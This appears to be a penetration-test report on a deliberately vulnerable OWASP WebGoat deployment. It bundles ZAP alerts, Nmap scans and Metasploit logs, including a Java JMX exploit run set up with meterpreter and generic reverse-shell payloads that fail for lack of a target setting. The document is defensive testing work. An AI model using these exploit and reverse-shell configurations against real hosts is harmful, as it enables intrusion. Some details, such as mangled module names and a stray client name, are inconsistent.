

ASTICI



Confidencial

Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

15/10/2023

Executive Summary

Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Static code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure's OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

Vulnerabilities and Recommendations

The following pages show Github issues one by one, which would highlight all vulnerabilities in current application.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 565

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,
playwright-0.4.3, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 27.58s  
=====
```

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 564

GitHub Issue URL : [Here!](#)

- Site: <http://20.204.46.172:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://20.204.46.172:8080/WebGoat/login>
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Non-Storable Content** [10049] total: 1:
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - <http://20.204.46.172:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/robots.txt>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 24:
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>

- <http://20.204.46.172:8080/WebGoat>
- <http://20.204.46.172:8080/WebGoat>
- <http://20.204.46.172:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6522428777

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 563

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (8449 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6
libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl python3-certifi python3-typing-extensions
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
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libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6
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Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.204.46.172

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.

resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit/javajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

```
[*] Payload Handler Started as Job
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 562

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 20.204.46.172

Making sure that parrot OS docker image has all the latest updates...

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libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6
libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl python3-certifi python3-typing-extensions
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Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

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libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6
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Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-15 06:28 UTC

Nmap scan report for 20.204.46.172

Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 16:a9:0d:85:0d:d4:a6:75:b8:3f:b9:10:f1:c3:5b:d7 (ECDSA)

|_ 256 3b:5a:ac:fa:01:cc:e0:aa:53:93:ac:a8:67:48:6c:7c (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sun, 15 Oct 2023 06:32:08 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Sun, 15 Oct 2023 06:32:07 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:
| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Sun, 15 Oct 2023 06:32:07 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-15T06:32:07.385+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Sun, 15 Oct 2023 06:32:25 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-15T06:32:25.435+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/15%Time=652B8767%P=x86_64-pc-linux-gnu%(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Sun, 15 Oct 2023 06:32:

SF:07 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Sun, 15\n

SF:x20Oct 2023 06:32:07 GMT

")%(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sun, 15\x

SF:20Oct 2023 06:32:08 GMT

")%(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%r(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=10/15%Time=652B8767%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr
SF:ame-Options: DENY Date: Sun, 15 Oct 2023 06:32:07\n
SF:x20GMT Connection: close Vary: Origin Vary: Access-Co
SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co
SF:ntent-Type-Options: nosniff Content-Type: application/json
SF: { \"timestamp\" : \"2023-10-15T06:32:07.385+00:00\n
SF:\", \"status\" : 404, \"error\" : \"Not
SF:0Found\", \"path\" : \"\" }\")%r(WMSRequest,42,\"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
\")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request
SF:Content-Length: 0 Connection: close
\")%r(SqueezeCenter_
SF:CLI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
\")%r(GenericLines,42,\"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
\")%
SF:r(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0 \n
SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid
SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache
SF:X-Frame-Options: DENY Date: Sun, 15 Oct 2023 06:32
SF::25 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR
SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n
SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ
SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a
SF:pplication/json
{ \"timestamp\" : \"2023-10-15T06
SF::32:25.435+00:00\", \"status\" : 404, \"error
SF:\" : \"Not Found\", \"path\" : \"\" }\")%r(RTS
SF:PRequest,42,\"HTTP/1.1 400 Bad Request Content-Length: 0
SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Firewall 11.X (86%), FreeBSD 6.X (85%)

OS CPE: *cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.4 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2*

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Firewall 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 24 hops

Service Info: OS: Linux; CPE: *cpe:/o:linux:linux_kernel*

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 23

24 233.98 ms 20.204.46.172

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 348.88 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-15 06:34 UTC

Nmap scan report for 20.204.46.172

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-15 06:34 UTC

Nmap scan report for 20.204.46.172

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds

Priority-High - OWASP WebGoat Login Page ZAP Scan

GitHub Issue number # 561

GitHub Issue URL : [Here!](#)

- Site: <http://20.204.46.172:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/robots.txt>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6522428777

Priority-High - OWASP WebGoat Registration Page ZAP Scan

GitHub Issue number # 560

GitHub Issue URL : [Here!](#)

- Site: <http://20.204.46.172:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/robots.txt>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/robots.txt>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/robots.txt>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/robots.txt>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.204.46.172:8080/>
 - <http://20.204.46.172:8080/robots.txt>
 - <http://20.204.46.172:8080/sitemap.xml>
 - <http://20.204.46.172:8080/WebGoat/registration>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>
 - <http://20.204.46.172:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6522428777

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 559

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 558

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Confidencial

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.